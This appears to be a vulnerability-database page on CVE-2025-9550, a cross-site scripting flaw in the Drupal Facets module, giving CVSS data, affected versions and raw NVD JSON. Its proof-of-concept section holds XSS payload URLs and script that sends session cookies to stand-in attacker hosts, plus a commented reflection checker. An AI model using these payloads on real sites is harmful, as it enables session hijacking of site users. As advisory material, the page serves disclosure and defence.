Security Vulnerability Report
中文
CVE-2025-9550 CVSS 6.1 MEDIUM

CVE-2025-9550

Published: 2025-10-10 23:15:37
Last Modified: 2026-01-05 15:21:37

Description

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Drupal Facets allows Cross-Site Scripting (XSS).This issue affects Facets: from 0.0.0 before 2.0.10, from 3.0.0 before 3.0.1.

CVSS Details

CVSS Score
6.1
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:facets_project:facets:*:*:*:*:*:drupal:*:* - VULNERABLE
cpe:2.3:a:facets_project:facets:*:*:*:*:*:drupal:*:* - VULNERABLE
Drupal Facets < 2.0.10
Drupal Facets 3.0.0 ~ 3.0.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CVE-2025-9550 - Drupal Facets XSS PoC --> <!-- This PoC demonstrates a reflected XSS vulnerability in Drupal Facets module --> <!-- Step 1: Craft a malicious URL with XSS payload in the Facets filter parameter --> <!-- The vulnerable parameter is typically used in faceted search/filter functionality --> <!-- Example 1: Basic script injection via facet parameter --> <!-- https://target-drupal-site.com/search?f[0]=value"><script>alert('XSS-CVE-2025-9550')</script> --> <!-- Example 2: Event handler injection (more stealthy) --> <!-- https://target-drupal-site.com/search?f[0]=value" onmouseover="alert(document.cookie)" --> <!-- Example 3: img tag onerror injection --> <!-- https://target-drupal-site.com/search?f[0]=<img src=x onerror=fetch('https://attacker.com/steal?c='+document.cookie)> --> <!-- Step 2: JavaScript payload to steal session cookies --> <script> // Exfiltrate session cookies to attacker-controlled server var cookies = document.cookie; var img = new Image(); img.src = 'https://attacker-server.com/collect?data=' + encodeURIComponent(cookies); </script> <!-- Step 3: Automated exploitation script --> <!-- Python script to test for the vulnerability --> # import requests # target_url = "https://target-drupal-site.com/search" # payload = 'value"><script>alert("XSS")</script>' # params = {"f[0]": payload} # response = requests.get(target_url, params=params) # if payload in response.text: # print("[VULNERABLE] XSS payload reflected without sanitization") # else: # print("[SAFE] Input appears to be sanitized")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-9550", "sourceIdentifier": "[email protected]", "published": "2025-10-10T23:15:37.160", "lastModified": "2026-01-05T15:21:36.997", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Drupal Facets allows Cross-Site Scripting (XSS).This issue affects Facets: from 0.0.0 before 2.0.10, from 3.0.0 before 3.0.1."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:facets_project:facets:*:*:*:*:*:drupal:*:*", "versionEndExcluding": "2.0.10", "matchCriteriaId": "7ED69396-F23F-4BB6-9F72-6157F1D96E5D"}, {"vulnerable": true, "criteria": "cpe:2.3:a:facets_project:facets:*:*:*:*:*:drupal:*:*", "versionStartIncluding": "3.0.0", "versionEndExcluding": "3.0.1", "matchCriteriaId": "8C09FC64-28DA-4B0C-836A-BC058123C8C9"}]}]}], "references": [{"url": "https://www.drupal.org/sa-contrib-2025-100", "source": "[email protected]", "tags": ["Patch", "Vendor Advisory"]}]}}